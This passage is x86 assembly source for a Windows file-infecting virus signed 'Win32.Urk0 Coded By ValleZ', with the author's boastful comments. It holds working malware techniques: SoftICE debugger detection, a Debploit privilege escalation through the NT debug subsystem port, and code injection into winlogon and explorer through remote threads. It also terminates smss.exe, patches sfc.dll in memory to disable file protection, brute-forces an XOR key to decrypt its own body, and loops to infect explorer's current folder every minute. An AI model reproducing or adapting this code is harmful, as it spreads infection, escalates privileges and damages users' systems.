;eax -> CreateProcessA
mov ecx,(STARTUPINFOSIZE + PROCESSINFORMATIONSIZE)/4
xor edx,edx
SaveSpace9x:
push edx
loop SaveSpace9x
;esp -> Process Information structure
;esp + PROCESSINFORMATIONSIZE -> startupinfo structure 
;[esp + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE] = len of name of module
;esp + 4 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE -> name of module
;[esp + 204 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE] = base of kernel
mov dword ptr [esp + PROCESSINFORMATIONSIZE],64;size of startupinfo
mov edx,esp
push edx;process information
add  edx,PROCESSINFORMATIONSIZE
push edx;startupinfo
push 0
push 0
push CREATE_SUSPENDED or CREATE_NEW_PROCESS_GROUP
push 0
push 0
push 0
push 0
add  edx,4 + STARTUPINFOSIZE
push edx;name of module
call eax;CreateProcessA
;we have created the suspended process
;[esp] = handle to new process
;[esp + 4]  = handle to primary thread(suspended)
;[esp + 8]  = Id of process
;[esp + 12] = Id of thread
;now i must search the primary module of the process.
mov eax,[esp + 204 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE]
;eax = base of kernel
GezApi eax,CreateToolhelp32SnapShotCRC,CT32SNameLen
;eax -> CreateToolhelp32Snapshot
mov ebx,[esp + 8]
;ebx = handle to process
push ebx
push TH32CS_SNAPMODULE
call eax
;eax = snapshot
;we have create the snapshot and now we will search the module that we need.
sub esp,548
;we will reserve space for MODULEENTRY32
mov dword ptr[esp],548 ;sizeof MODULEENTRY32
mov ecx,eax
;ecx = snapshot
mov [esp + 548 + PROCESSINFORMATIONSIZE + SNAPSHOT],ecx;we save it
mov eax,[esp + 548 + 4 + 200 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE]
;eax = base of kernel
push eax
GezApi eax,Module32FirstCRC,M32FNameLen
mov  edx,esp
add  edx,4
push edx
push ecx
call eax
pop  eax
GezApi eax,Module32NextCRC,M32NNameLen
;eax -> Module32Next
mov [esp + 548 + PROCESSINFORMATIONSIZE],eax ;we save it
NextModule:
;esp + 32 + 256 -> name of module with path(becoz GetModuleFileName gives entire path)
mov esi,esp
add esi,32 + 256
CalcLenString
mov edi,ecx
call CRC32
;eax = CRC of name of module we have got
push eax
mov  edi,[esp + 548 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE + 4]
mov  esi,esp
add  esi,548 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE + 4 + 4
call CRC32
;eax = CRC of our module
pop edx
cmp edx,eax
je FoundModule
push esp
mov ecx,[esp + 548 + PROCESSINFORMATIONSIZE + 4 + SNAPSHOT];we recover snapshot
push ecx
mov eax,[esp + 548 + PROCESSINFORMATIONSIZE + 4 + 4]
;eax -> Module32Next
call eax
jmp NextModule
FoundModule:
;yeah!!!! ;)
mov eax,[esp + 548 + 4 + 200 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE];base kernel
GezApi eax,CloseHandleCRC,CHNameLen
mov ecx,[esp + 548 + PROCESSINFORMATIONSIZE + 4 + SNAPSHOT];we recover snapshot
push ecx
call eax
;snapshot closed
;now we recover information for returning parameters and ret ;)
mov ecx,[esp + 20]
mov edx,[esp + 24]
mov eax,[esp + 548]
mov esi,[esp + 548 + 4]
mov ebx,[esp + 548 + 8]
mov edi,[esp + 548 + 12]
add esp,548 + 16 + 68 + 4 + 200 + 4
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;GetExplorer
;In:
;   eax = base of kernel
;   esi -> buffer for storing name
;Out:
;   esi ->buffer  
;   ecx = bytes of name
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetExplorer:

push   esi
GezApi eax,GetWindowsDirectoryACRC,GWDNameLen
;eax -> GetWindowsDir
pop    esi
push   esi
push   200
push   esi
call   eax
pop    esi
CalcLenString
mov    edi,esi
add    edi,ecx
mov    byte ptr [edi],'\'
inc    edi
mov    dword ptr [edi],'LPXE'
add    edi,4
mov    dword ptr [edi],'RERO'
add    edi,4
mov    dword ptr [edi],'EXE.'
add    edi,4
mov    dword ptr [edi],0
CalcLenString

ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;DetectSICE try to detect softice,and in the case softice was detected,then stop execution.
;in:
;   eax = kernel base
;out:
;   none
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DetectSICE:
pushad
push eax
;check sice in 9x
push 00000000h
push 00000080h
push 00000003h
push 00000000h
push 00000001h
push 0c0000000h
lea esi,[ebp + SICE9X]
push esi
GezApi eax,CreateFileACRC,CFNameLen
call eax
inc eax
jz NoSICE9X
call $
NoSICE9X:
mov eax,[esp]
push 00000000h
push 00000080h
push 00000003h
push 00000000h
push 00000001h
push 0C0000000h
lea esi,[ebp + SICENT]
push esi
GezApi eax,CreateFileACRC,CFNameLen
call eax
inc eax
jz NoSICENT
call $
NoSICENT:
pop eax
popad
ret
SICE9X db "\\.\SICE",0
SICENT db "\\.\NTICE",0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;NT ZONE !�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!
;NT ZONE !�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!
;NT ZONE !�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!
;NT ZONE !�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!
;NT ZONE !�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Well...now we are in NT.We will fight agresively against NT for
;getting full privileges ;/ Virus its very different if we are
;in NT.Here we dont load and dont inject code to explorer.exe.
;Here we will try to get full privileges with some methods 
;and later we will infect files.


;NT part works in this manner: i try to get anough privileges to open winlogon and
;inject code there(with i WannaCanDebug).If i dont get anough,i use a second method.
;I use a flaw in NT.I havent discovered that flaw.I speaking about Debploit method.
;You can search about this in www.securiteam.com in NT focus.With this,i connect to
;dbgss and i say it that it gives me a duplicate handle to winlogon,however,it will
;give me it with full privileges :D ... There is a problem with this...If i say 
;dbgss i am the debugger of winlogon,and winlogon is my debugee process(i attach
;it) when my process terminated,winlogon will finish too and system will reboot.
;For this reason,when i infect winlogon,since winlogon injected code,i kill smss
;(where is implemented dbgss) and smss will not kill winlogon.In this manner,only first
;infected file executed will inject code in winlogon becoz when second infected program
;was executed,it will not find dbgss.
;In winlogon,virus disable sfp with Ratter and Benny method(29a number 6).Later,it 
;gets a handle to explorer and inject code there,and create a remote thread in 
;explorer:There,ExplorerCode is executed.This code will infect current folder of
;explorer.exe each 60 seconds.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;NTInvasion try to KILL NT ;O
;in:
;   eax = kernel base
;out:
;   none
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
NTInvasion:
mov ecx,cs
xor cl,cl
jecxz ContinueNT
ret
ContinueNT:
mov [ebp + NtKernel],eax
callz GetLibrarys

callz DebuggerTrickz

callz FreeLibrarys
ret
NtKernel dd 0
NtAdvapi dd 0
NtPsapi  dd 0
NtRasapi dd 0
Ntdll    dd 0
;;;;;;;;;;;;;;;;;;;;
GetLibrarys:
pushad

;first,ill try to get ntdll base from PEB structure

mov eax,dword ptr fs:[30h]    ;PEB pointer
mov eax,dword ptr [eax + 0ch] ;PEB_LDR_DATA
mov eax,dword ptr [eax + 1ch] ;LIST_ENTRY
mov eax,dword ptr [eax +  8h] ;ntdll.dll base
mov [ebp + Ntdll],eax

mov eax,[ebp + NtKernel]
GezApi eax,LoadLibraryACRC,LLNameLen
push eax
lea ebx,[ebp + advapi]
push ebx
call eax
mov [ebp + NtAdvapi],eax
lea ebx,[ebp + psapi]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtPsapi],eax
lea ebx,[ebp + rasapi]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtRasapi],eax
pop eax
popad
ret
advapi db 'advapi32.dll',0
psapi db  'psapi.dll',0
rasapi db 'rasapi32.dll',0
;;;;;;;;;;;;;;;;;;;;
FreeLibrarys:
pushad
mov eax,[ebp + NtKernel]
GezApi eax,FreeLibraryCRC,FLNameLen
push eax
push dword ptr [ebp + NtAdvapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtPsapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtRasapi]
call dword ptr [esp + 4]
pop eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;DebuggerTrickz try to gain privileges.
;in:
;   none
;
;out:
;   eax = 1 no error eax = 0 error
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DebuggerTrickz:
pushad
or eax,eax
jz NoTrickGoOut
callz GetWinlogon
or eax,eax
jz ContinueTrick
NoTrickGoOut:
popad
ret
ContinueTrick:
;now i have a handle to winlogon.exe...however i only have this access:
;PROCESS_VM_READ and PROCESS_QUERY_INFORMATION
;now we need a handle to the process but with VM_WRITE,...privileges.
;ill try to open Winlogon with full privileges...if i dont get it 
;with full privileges ill use same method as debploit exploit.
;You can read about this in www.securiteam.com NT focus...
;in august of 2002 if i remember well.

push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
push dword ptr [ebp + WinlogonID]
push 0
push 43Ah;privileges i need
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen
call eax
or eax,eax
jz Debploit 
sub esp,80h
callz AttackWinlogon ;)
or eax,eax
jz DebuggerNoError
jmpz DebuggerError

Debploit:

push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax

mov ecx,20h
SaveSpaceMESSAGE:
push 00000000h
loop SaveSpaceMESSAGE ;space for DBG_SS_CP_LPC_MESSAGE

mov eax,[ebp + Ntdll]
GezApi eax,NtConnectPortCRC,NCPNameLen
push 0
push 0
push 0
push 0
push 0
lea ebx,[ebp + SECURITY_QUALITY_OF_SERVICE]
push ebx
lea ebx,[ebp + USbuf]
mov [ebp + PUSbuf],ebx
push eax
mov eax,ebx
xor edx,edx
mov ebx,2
div ebx
or edx,edx
jz NoAlign
lea ebx,[ebp + USbuf2]
mov [ebp + PUSbuf],ebx
NoAlign:
pop eax
;well...here we have a problem...read about NTSTATUS_DATATYPE_MISALIGNMENT
;(80000002h)for knowing this problem and you will discover how Microsoft 
;do a easier life for you :P Why i must align a data for giving 
;parameters to a api...WHYYYYY??? Why M$,the richest company in the world,
;cannot do a S.O that aligns my datas!!??? :( Why i must spend two days
;trying to solve this problem!!!! damn ;(

lea ebx,[ebp + UNICODE_STRING]
push ebx
lea ebx,[ebp + PortHandle]
push ebx
call eax;ZwConnectPort
;note i call apis from ntdll.dll with a call instead a syscall...however they can be 
;called with a syscall too.
cmp eax,080000000h
jae DebuggerError
mov eax,[ebp + Ntdll]
GezApi eax,DbgUiConnectToDbgCRC,DUCTDNameLen
call eax
cmp eax,080000000h
jae DebuggerError

;for now,all right...now i must send a message to dbgss,
;a create process request,and it will give me a duplicated handle
;to the process that ill specify in the message...with a small
;different...this handle will have PROCESS_TERMINATE,
;PROCESS_CREATE_THREAD!!!,PROCESS_VM_READ,
;PROCESS_VM_OPERATION,PROCESS_VM_WRITE!!!,PROCESS_DUP_HANDLE,
;PROCESS_QUERY_INFORMATION,READ_CONTROL privileges ;D

;we have already reserved space for DBG_SS_CP_LPC_MESSAGE
;in the stack in the start of debploit zone.You can see
;DBG_SS_CP_LPC_MESSAGE struct in the end of virus code

mov word ptr [esp],38h        ;DataSize
mov word ptr [esp + 2h],80h   ;MessageSize
mov dword ptr [esp + 18h],2h  ;CREATE_PROCESS_REQUEST
mov eax,[ebp + WinlogonID]
mov dword ptr [esp + 20h],eax ;debugee PID...that i want duplicate handle

mov eax,[ebp + NtKernel]
GezApi eax,GetCurrentProcessIdCRC,GCPINameLen
call eax
mov dword ptr [esp + 2ch],eax ;debugger PID...me

mov eax,[ebp + NtKernel]
GezApi eax,GetCurrentThreadIdCRC,GCTINameLen
call eax
mov dword ptr [esp + 30h],eax ;debugger TID...me too

push esp
push dword ptr [ebp + PortHandle]
mov eax,[ebp + Ntdll]
GezApi eax,ZwRequestPortCRC,ZRPNameLen
call eax

;now we dont need msg space reserved in stack so we use that space in
;stack for or DEBUG_EVENT



WaitEvent:

push 512
;esp + 4 -> DEBUG_EVENT
mov eax,esp
add eax,4
push eax
mov eax,[ebp + NtKernel]
GezApi eax,WaitForDebugEventCRC,WFDENameLen
call eax

mov eax,[esp + 4] ;dwProcessId
mov ebx,[esp + 8] ;dwThreadId
push 00010002h ;CONTINUE_DEBUG
push ebx
push eax
mov eax,[ebp + NtKernel]
GezApi eax,ContinueDebugEventCRC,CDENameLen
call eax
cmp dword ptr [esp],3 ;DugEventCode == CREATE_PROCESS_DEBUG_EVENT???
je GoodEvent
jmpz WaitEvent
GoodEvent:
;we have got the waited debug event and there 
;we can find the duplicate handle to winlogon :D

mov eax,[esp + 10h] ;DEBUG_EVENT.u.CreateProcessInfo.hProcess
mov [ebp + WinlogonHand],eax ;we save the handle with full acess to winlogon

;now i have a problem.When this process terminates,winlogon will terminate too becouse
;winlogon is the debuggee process and this is the debugger.
;i think a dramatic solution...terminate smss.exe.smss initiates winlogon and win32 subsystem
;and when system hangs,it take the control and draw the blue screen of death :P.In addition
;it has implemented the dbgss.If only these are their functions,we can terminate smss and in
;this manner smms will not terminate winlogon after my process terminates...in addition we 
;have broke debug subsystem ;)
;Ill do this since winlogon later i inject my code there.
;note if smss is terminated,next time virus will be executed it will not find dbgss subsystem
;and by this reason it will not infect winlogon again.

callz AttackWinlogon
or eax,eax
jnz DebuggerError

DebuggerNoError:
add esp,80h
popad
xor eax,eax
inc eax
ret
DebuggerError:
add esp,80h 
popad
xor eax,eax
ret


PortHandle dd 0

UNICODE_STRING:
USlen    dw 26 
USmaxlen dw 28
PUSbuf   dd 0

db 0
;i have two strings becoz if USbuf is not alignmented then USbuf2 is it.
USbuf    dw '\','D','b','g','S','s','A','p','i','P','o','r','t',0
db 0
USbuf2   dw '\','D','b','g','S','s','A','p','i','P','o','r','t',0


SECURITY_QUALITY_OF_SERVICE:
SQOSlen             dd 12
ImpersonationLevel  dd 2;SecurityImpersonation  
ContextTrackingMode db 1
EffectiveOnly       db 1
                    db 34h
                    db 00h


;;;;;;;;;;;;;;;;;;;;;
GetWinlogon:  ;in:none  out: WinlogonHand with winlogon process handle
		  ;		    eax = 0 if no error
pushad
mov ecx,200h
SaveSpaceSearchingWinlogon:
push 00000000h
loop SaveSpaceSearchingWinlogon
;esp -> array of id of processes
mov eax,esp
lea ebx,[ebp + Needed]
push ebx
push 4*200h
push eax
mov eax,[ebp + NtPsapi]
GezApi eax,EnumProcessesCRC,EPSNameLen
call eax
dec eax
jnz GetWinlogonOutError_
;esp -> array
mov esi,esp
lodsd
SearchWinlogon:
lodsd
push esi
or eax,eax
jz GetWinlogonOutError
;vvv
mov [ebp + WinlogonID],eax
push eax
push 0
push 10h or 400h
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen
call eax
or eax,eax
jz NoWinlogonFound
;eax = process handle
mov [ebp + WinlogonHand],eax
lea ebx,[ebp + Needed]
push ebx
push 4
lea ebx,[ebp + WinlogonModuleHand]
push ebx
push eax
mov eax,[ebp + NtPsapi]
GezApi eax,EnumProcessModulesCRC,EPMNameLen
call eax
dec eax
jnz NoWinlogonFound
push 50
lea eax,[ebp + WinlogonModuleName]
push eax
push dword ptr [ebp + WinlogonModuleHand]
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtPsapi]
GezApi eax,GetModuleBaseNameACRC,GMBNNameLen
call eax
lea esi,[ebp + WinlogonModuleName]
lodsd
or eax,20202020h
cmp eax,'lniw'
winl equ $ - 4
jne NoWinlogonFound
lodsd 
or eax,20202020h
cmp eax,'nogo'
ogon equ $ - 4
jne NoWinlogonFound

;^^^
WinLogonFound:
pop esi
GetWinlogonOut:
add esp,4*200h
popad
xor eax,eax
ret

NoWinlogonFound:
pop esi
jmp SearchWinlogon

GetWinlogonOutError:
pop esi
GetWinlogonOutError_:
add esp,4*200h
popad
xor eax,eax
inc eax
ret

;;;;;;;;;;;;;;;;;;;;;
AttackWinlogon: ;in:none
		    ;out: eax = 1 error eax = 0 no error

push PAGE_EXECUTE_READWRITE
push MEM_COMMIT or MEM_RESERVE
push EVirus - SVirus
push 0
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,VirtualAllocExCRC,VANameLen
call eax
or eax,eax
jz AttackWinlogonError
mov [ebp + WinlogonVirusBase],eax

mov ecx,[ebp + NtKernel]
mov ebx,[ebp + WinlogonHand]
lea edx,[ebp + SVirus]
mov esi,EVirus - SVirus
Writez ecx,ebx,eax,edx,esi
or eax,eax
jz AttackWinlogonError
push 0
push 0
lea  eax,[ebp + Needed]
push eax;pointer to a variable to be passed to the thread function
mov eax,[ebp + WinlogonVirusBase]
add eax,WinlogonCode - SVirus 
push eax
push 0 ;stack size 
push 0
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CreateRemoteThreadCRC,CRTNameLen
call eax
or eax,eax
jz AttackWinlogonError
 
AttackWinlogonNoError:

push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
xor eax,eax
ret

AttackWinlogonError:

push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
xor eax,eax
inc eax
ret


Needed 		 dd 0
WinlogonModuleHand dd 0
WinlogonModuleName db 50 dup(0)
WinlogonHand       dd 0
WinlogonID         dd 0
WinlogonVirusBase  dd 0
SmssHand           dd 0
ExplorerHand       dd 0
ExplorerID         dd 0
ExplorerVirusBase  dd 0
ExplorerModuleHand dd 0



db "Win32.Urk0 Coded By ValleZ",0

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
WinlogonCode:

;When i inject code to winlogon,i create a remote thread that will start execution here

pop eax ;remove parameter passed
callz WinlogonCodeDoff
WinlogonCodeDoff:
pop ebp
sub ebp,offset WinlogonCodeDoff

callz GetLibrarys

mov dword ptr [ebp + winl],'lpxe'
mov dword ptr [ebp + ogon],'rero'
callz GetWinlogon ;i use same function to get smss.exe handle and terminate it.
mov eax,[ebp + WinlogonHand]
mov [ebp + ExplorerHand],eax
mov eax,[ebp + WinlogonID]
mov [ebp + ExplorerID],eax
mov eax,[ebp + WinlogonModuleHand]
mov [ebp + ExplorerModuleHand],eax

mov dword ptr [ebp + winl],'ssms'
mov dword ptr [ebp + ogon],'exe.'
callz GetWinlogon ;i use same function to get smss.exe handle and terminate it.
mov eax,[ebp + WinlogonHand]
mov [ebp + SmssHand],eax

mov dword ptr [ebp + winl],'lniw'
mov dword ptr [ebp + ogon],'nogo'

push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
push dword ptr [ebp + WinlogonID];really smss.exe ID
push 0
push 1h;privileges that i need for terminating smss.exe
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen ;i open smss.exe 
call eax
push 0
push dword ptr [ebp + SmssHand]
mov eax,[ebp + Ntdll]
GezApi eax,NtTerminateProcessCRC,NTPNameLen
call eax

;i have terminated smss.exe and now it cannot kill winlogon ;D i dont know if this method
;is a few dramatic...i know if i kill smss.exe i fuck dbgss(mmm im thinking then im 
;fuckin debbugers :-m ),and when windows terminates with error smss will not show
;the typical blue screen(this is a problem???)...i dont know if i am fuckin other
;importants parts...i have not read others funcionalitys...only it loads winlogon
;and win32 subsystem(csrss.exe),however this task is already done.I think i can
;kill smss.exe.

;now,i am in w1nl0g0n with M4x Pr1v1l3g3s ;D in this point our imagination will do all
;first,i will disable sfp

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SfcDisable:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

lea eax,[ebp + sfc]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,LoadLibraryACRC,LLNameLen
call eax
or eax,eax
jz ErrorSfcDisable
mov [ebp + NtSfc],eax
mov esi,[eax + 3ch]
add esi,eax
;esi -> PE
movzx eax,word ptr [esi + 14h];size of optional
mov ecx,[eax + esi + 18h + 10h];size of section
mov esi,[eax + esi + 18h + 0ch];virtual address of first section of sfc.dll
add esi,dword ptr [ebp + NtSfc]


;esi -> code section

SearchCodeToPatch:
pushad
lea edi,[ebp + CodeToSearch]
mov ecx,11
rep cmpsb
popad
je CodeToPatchFound 
inc esi
loop SearchCodeToPatch
jmpz ErrorSfcDisable

CodeToPatchFound:
;now we patch code with a call to ExitThread
push esi
mov eax,[ebp + NtKernel]
GezApi eax,ExitThreadCRC,ETNameLen
pop esi
mov [ebp + PatchExitThreadDir],eax
push esi
;i unprotect the mem where i go to patch
;UnprotectMem
;   eax -> base of kernel
;   esi -> dir of memory that will be writable.
;   ecx -> bytes of that memory.  
;   ebx -> handle of the process where is the memory.If 0 this process
mov eax,[ebp + NtKernel]
mov ebx,0
mov ecx,_PatchCode - PatchCode
callz UnprotectMem
pop esi
mov edi,esi
lea esi,[ebp + PatchCode]
mov ecx,_PatchCode - PatchCode
PatchIt:
movsb
loop PatchIt

ErrorSfcDisable:

;if we have jumped here without executing CodeToPatchFound part,sfc is not disabled 
;now ill infect files
;first all,ill uncrypt since SCode to SCode part

;we encrypted Code with random key since FFFF0000h to FFFFFFFFh so 
;now we must search the key using brute force

xor ecx,ecx
mov edx,dword ptr [ebp + SCode]
WLWhatKey:
xor edx,ecx
cmp edx,000000E8h
je  WLKeyFound
xor edx,ecx
loop WLWhatKey
WLKeyFound:
mov edx,ecx
;edx = key
mov ecx,(ECode - SCode)/4
lea esi,[ebp + SCode]
WLUncrypt:
dec ecx
xor dword ptr [esi + 4*ecx],edx
or ecx,ecx
jnz WLUncrypt
mov eax,[ebp + NtKernel]
mov  [ebp + kernel],eax  ;code since SCode to ECode uses kernel variable so 
				 ;i must initializate it

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
AttackExplorer:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;now ill inject the code to explorer.exe from winlogon and there ill hook CreateFileA api ;)
;i thought to hook FindFirstFile and FindNextFile in explorer but i think its anought 
;with CreateFileA

push dword ptr [ebp + ExplorerHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
push dword ptr [ebp + ExplorerID]
push 0
push 43ah;privileges that i need
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen
call eax
or eax,eax
jz AttackExplorerError
mov [ebp + ExplorerHand],eax

push PAGE_EXECUTE_READWRITE
push MEM_COMMIT or MEM_RESERVE
push EVirus - SVirus
push 0
push dword ptr [ebp + ExplorerHand]
mov eax,[ebp + NtKernel]
GezApi eax,VirtualAllocExCRC,VANameLen


call eax
or eax,eax
jz AttackExplorerError
mov [ebp + ExplorerVirusBase],eax

mov ecx,[ebp + NtKernel]
mov ebx,[ebp + ExplorerHand]
lea edx,[ebp + SVirus]
mov esi,EVirus - SVirus


Writez ecx,ebx,eax,edx,esi
or eax,eax
jz AttackExplorerError
push 0
push 0
lea eax,[ebp + Needed]
push eax ;pointer to a variable passed as parameter to thread function
mov eax,[ebp + ExplorerVirusBase]
add eax,ExplorerCode - SVirus 
push eax
push 0;stack size 
push 0
push dword ptr [ebp + ExplorerHand]
mov eax,[ebp + NtKernel]
GezApi eax,CreateRemoteThreadCRC,CRTNameLen
call eax


AttackExplorerError:

push dword ptr [ebp + ExplorerHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ExitWinlogonThread:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

push 0
mov eax,[ebp + NtKernel]
GezApi eax,ExitThreadCRC,ETNameLen
call eax


sfc db 'sfc.dll'
NtSfc dd 0
CodeToSearch db 6Ah,01h,6Ah,01h,0FFh,33h,0FFh,73h,04h,0FFh,15h
PatchCode:
push 0
mov eax,11111111h
PatchExitThreadDir equ dword ptr $ - 4
call eax
_PatchCode:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

ExplorerCode:

callz NtExplorerDOffset
NtExplorerDOffset:
pop ebp
sub ebp,offset NtExplorerDOffset


CurrentFolderInfection:

mov eax,[ebp + NtKernel]
GezApi eax,SleepCRC,SNameLen
push 60000 ;1 minute
call eax ;Sleep for 1 minute

mov eax,[ebp + NtKernel]
GezApi eax,GetCurrentDirectoryACRC,SCDNameLen
lea ebx,[ebp + buffy]
push ebx
push 256
call eax
lea ebx,[ebp + buffy]

callz InfectCurrentFolder

jmpz CurrentFolderInfection
